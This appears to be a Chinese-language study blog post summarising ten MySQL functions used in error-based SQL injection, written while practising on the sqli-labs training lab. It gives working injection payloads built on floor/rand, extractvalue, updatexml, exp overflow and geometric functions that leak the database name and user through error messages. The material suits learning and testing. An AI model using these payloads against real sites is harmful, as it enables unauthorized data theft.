一直都想找个时间总结一下Mysql十大报错函数,但一直都忘了,趁着这几天玩sql-labs的时候,随便总结一下。
1、floor()
2、extractvalue()
3、updatexml()
4、exp()
5、geometrycollection()
6、multiponint()
7、polygon()
8、multipolygon()
9、linestring()
10、multilinestring()
floor(x) 函数,向下取整,返回一个不大于x的值
round(x,d) 函数,根据四舍五入保留指定的小数位数,x指要处理的数,d是指保留几位小数。
rand() 函数,产生一个0-1之间的随机浮点数,若有参数x,则返回一个x对应的固定的值
报错原理:主键重复
示例1:sql-labs第5关
payload:
id=1' union select 1 from (select count(*),concat(0x7e,(database()),0x7e,floor(rand()*2))a from information_schema.tables group by a) b#
Extractvalue(xml_frag, xpath_expr) 函数使用XPath表示法从XML字符串中提取值
xml_frag: 目标xml文档
xpath_expr: 利用Xpath路径法表示的查找路径
报错原理:Xpath格式语法书写错误的话,就会报错
示例2:
payload:
id=1' union select Extractvalue('1',concat('~',(select database())))#
UPDATEXML (XML_document, XPath_string, new_value) 改变文档中符合条件的节点的值
XML_document:String格式,为XML文档对象的名称
XPath_string :Xpath格式的字符串
new_value:String格式,替换查找到的符合条件的数据
报错原理:同extractvalue函数,Xpath格式书写错误就会报错。
示例3:
payload:
id=1' union select updatexml('1',concat('~',(select database())),'1')#
exp()是以e为底的指数函数,但是如果传递的数太大了,当大于709时,exp()就会因为溢出而报错。
将0按位取反就会得到“18446744073709551615”,再加上函数成功执行后返回0,我们将成功执行的函数取反就会得到最大的无符号的bigint值。
通过子查询与按位求反,造成一个DOUBLE overflow error,由此就可以注出数据。
但由于我这里mysql版本是5.5.53的缘故,无法成功的注出数据。
成功的示例如下:
mysql> select * from products where pid=1 and exp(~(select * from(select user())a));
DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
以上均为几何函数,函数对参数要求是形如(1 2,3 3,2 2 1)这样几何数据,如果不满足要求,则会报错。
用法:
select geometrycollection((select * from(select * from(select user())a)b));
这几个函数用法均相同。
但是还是因为mysql版本的问题,没能成功执行。
成功示例如下:
mysql> select geometrycollection((select * from(select * from(select user())a)b));
ERROR 1367 (22007): Illegal non geometric '(select `b`.`user()` from (select 'root@localhost' AS `user()` from dual) `b`)' value found during parsing
通过这次整理真的发现了很多问题,也学到了很多。之前还没注意,原来有些报错函数是有版本要求的,看来学习的过程中还是得多多动手才行。